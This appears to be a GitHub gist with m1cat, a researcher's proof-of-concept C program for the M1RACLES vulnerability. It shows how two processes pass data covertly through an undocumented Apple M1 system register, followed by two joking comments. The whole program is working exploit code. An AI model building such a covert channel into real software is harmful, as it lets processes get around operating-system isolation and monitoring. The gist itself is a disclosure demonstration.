Skip to content

Instantly share code, notes, and snippets.

@marcan
Last active October 26, 2023 15:42
Show Gist options
  • Save marcan/99e788db33af66c92ab1811da78ab62f to your computer and use it in GitHub Desktop.
Save marcan/99e788db33af66c92ab1811da78ab62f to your computer and use it in GitHub Desktop.
m1cat: a PoC for the M1RACLES covert channel vulnerability in the Apple M1
/*
* m1cat: a proof of concept for the M1RACLES vulnerability in the Apple M1.
*
* This program implements a covert channel that can be used to transmit data
* between two processes when run on the Apple Silicon "M1" CPUs.
*
* The channel is slightly lossy due to (presumably) the scheduler sometimes
* scheduling us on the wrong CPU cluster, so this PoC sends every byte twice
* together with some metadata/framing bits, which is usually good enough.
* A better approach would be to use proper FEC or something like that.
*
* Please visit m1racles.com for more information.
*
* Licensed under the MIT license.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/errno.h>
#include <unistd.h>
#include <fcntl.h>
#define BUFSIZE 32768
#define WSIZE 12
int verbose = 0;
static inline uint64_t getbits(void)
{
uint64_t val;
asm volatile(
"mrs %x0, s3_5_c15_c10_1\n"
: "=r"(val));
return val;
}
static inline void setbits(uint64_t val)
{
asm volatile(
"msr s3_5_c15_c10_1, %x0\n"
:: "r"(val));
}
static inline void txword(int b)
{
//fprintf(stderr, "W: %03x\n", b);
while (getbits())
;
setbits(1);
while (getbits())
;
setbits(1);
while (getbits())
;
setbits(1);
while (getbits())
;
for (int i = 0; i < WSIZE; i++) {
while (getbits());
setbits((b & 1) | 2);
b >>= 1;
}
}
static inline int rxword(void)
{
uint64_t b = 0, bits = 0;
int j;
while (1) {
for (j = 0, bits = 0; !bits && j < 10000; j++)
bits = getbits();
if (!bits)
return -1;
setbits(0);
getbits();
if (bits != 1) {
fprintf(stderr, "Oops, dropped a %llu bit on the floor\n", bits&1);
continue;
}
byte:
b = 0;
for (int i = 0; i < WSIZE; i++) {
while (!(bits = getbits()));
setbits(0);
if (bits == 1) {
if (i != 0)
fprintf(stderr, "Oops, dropped %d bits (0x%llx) on the floor\n", i, b);
goto byte;
}
if (bits & 1)
b |= 1 << i;
}
//fprintf(stderr, "W: %03x\n", b);
return b;
}
}
static void rx(void)
{
size_t cnt = 0;
int b;
uint8_t buf[BUFSIZE + 1];
int discard = -1;
while (1) {
if (cnt > 0) {
if (verbose)
fprintf(stderr, "RX %lu bytes\n", cnt);
if (write(1, buf, cnt) != cnt)
return;
}
cnt = 0;
while (cnt < BUFSIZE) {
b = rxword();
if (b < 0) {
break;
}
if (b == discard) {
discard = -1;
continue;
}
if (!(b & 0x200))
// Bad data
continue;
if (b & 0xfc00)
// Bad data
continue;
if ((b & 0x300) == 0x200)
// Throw away the next word
discard = b | 0x100;
else
discard = -1;
buf[cnt++] = b;
}
}
}
static void tx(void)
{
uint8_t buf[BUFSIZE];
fd_set s;
fcntl(0, F_SETFL, O_NONBLOCK);
while (1) {
int got = read(0, buf, BUFSIZE);
if (got == 0) {
return;
} else if (got < 0 && errno == EAGAIN) {
FD_ZERO(&s);
FD_SET(0, &s);
select(1, &s, NULL, &s, NULL);
continue;
}
if (verbose)
fprintf(stderr, "TX %d bytes\n", got);
uint8_t *p = buf;
while (got--) {
// Sometimes we drop a word, so send everything twice
txword(0x200 | *p);
txword(0x300 | *p++);
}
}
}
static void usage(const char *argv0)
{
fprintf(stderr, "Usage: %s [-v] <tx|rx>\n", argv0);
exit(1);
}
int main(int argc, char **argv)
{
char **argp = &argv[1];
pthread_set_qos_class_self_np(QOS_CLASS_USER_INTERACTIVE,0);
if (argc < 2)
usage(argv[0]);
if (!strcmp(*argp, "-v")) {
verbose = 1;
argp++;
argc--;
}
if (argc < 2)
usage(argv[0]);
if (!strcmp(*argp, "tx"))
tx();
else if (!strcmp(*argp, "rx"))
rx();
else
usage(argv[0]);
return 0;
}
@tjhorner
Copy link

A better approach would be to use proper FEC or something like that.

Thank you, this will help me in implementing this vulnerability for IPC in my production Mac app

@ubdussamad
Copy link

A better approach would be to use proper FEC or something like that.

Thank you, this will help me in implementing this vulnerability for IPC in my production Mac app

It's not a bug, its a feature. :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment